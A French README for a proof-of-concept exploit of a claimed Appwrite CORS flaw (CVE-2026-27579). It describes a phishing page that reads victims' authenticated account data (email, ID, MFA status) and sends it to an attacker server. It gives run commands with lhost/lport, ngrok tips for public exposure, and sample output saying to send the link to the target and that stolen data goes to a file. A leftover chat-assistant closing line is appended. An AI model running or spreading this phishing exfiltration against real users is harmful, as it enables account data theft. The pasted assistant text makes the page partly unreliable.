
Exploit PoC pour CVE-2026-27579, une mauvaise configuration CORS dans le backend Appwrite, démontrant le vol de données de compte authentifiées via une page de phishing malveillante.
CVE-2026-27579 – Fuite de Données de Compte Authentifié via CORS Permissif
CVE-2026-27579 (GHSA-qh5m-p8jh-hx88)
Une grave mauvaise configuration CORS dans le backend Appwrite utilisé par la plateforme de collaboration en temps réel permet à une origine contrôlée par l'attaquant de lire des données sensibles d'utilisateurs authentifiés (e-mail, ID utilisateur, statut MFA, etc.) de victimes connectées via des requêtes cross-origin avec informations d'identification.
/v1/account avec réflexion Access-Control-Allow-Origin + Access-Control-Allow-Credentials: trueflowchart TD
A[Victim is logged in\nCollabPlatform / Appwrite] --> B[Victim visits attacker-controlled page\nphishing link / malvertising]
B --> C[Browser sends GET /v1/account\nwith session cookies credentials: 'include']
C --> D[Appwrite reflects arbitrary Origin\nAccess-Control-Allow-Origin: evil.com]
D --> E[Access-Control-Allow-Credentials: true]
E --> F[Browser allows JavaScript to read response\nemail, $id, mfa, name, ...]
F --> G[Data exfiltrated to attacker server\nPOST /collect]
G --> H[Attacker receives full account details]
--lhost et --lportpip install flask
# Utilisation de base
python3 exploit.py --lhost 192.168.1.100 --lport 8000
# Utilisation avec un domaine / IP publique
python3 exploit.py --lhost attacker.yourdomain.com --lport 8080
# Pour une exposition publique (recommandé)
# 1. Exécutez le script
# 2. Utilisez ngrok : ngrok http 8000
# 3. Remplacez http://<lhost>:<lport> dans le code par votre URL ngrok
# (ou relancez avec --lhost = votre-url-ngrok.ngrok-free.app)
Exemple de sortie lors de l'exécution :
[*] Démarrage du serveur malveillant → http://192.168.1.100:8000
[*] Envoyez ce lien à la cible :
http://192.168.1.100:8000/
La victime visite le lien alors qu'elle est connectée → les données apparaissent dans le terminal + enregistrées dans stolen_accounts.txt
Ce code est fourni à des fins éducatives, de tests de sécurité autorisés, d'exercices d'équipe rouge et de recherche de vulnérabilités uniquement.
Toute utilisation non autorisée contre un système ou un individu sans autorisation écrite explicite est illégale dans la plupart des juridictions (fraude informatique, accès non autorisé, vol de données, lois sur l'hameçonnage, etc.).
Utilisez uniquement dans des environnements que vous possédez ou pour lesquels vous avez une autorisation formelle de test.
Mohammed Idrees Banyamer
Chercheur en sécurité
Jordanie
Instagram : @banyamer_security
N'hésitez pas à copier-coller ceci directement dans votre fichier README.md.
Si vous souhaitez ajouter des captures d'écran, modifier les couleurs des badges, ajouter d'autres sections (Démo, Atténuation, etc.), ou inclure un badge de licence / compteurs d'étoiles / de forks — faites-le-moi savoir et je pourrai l'étendre.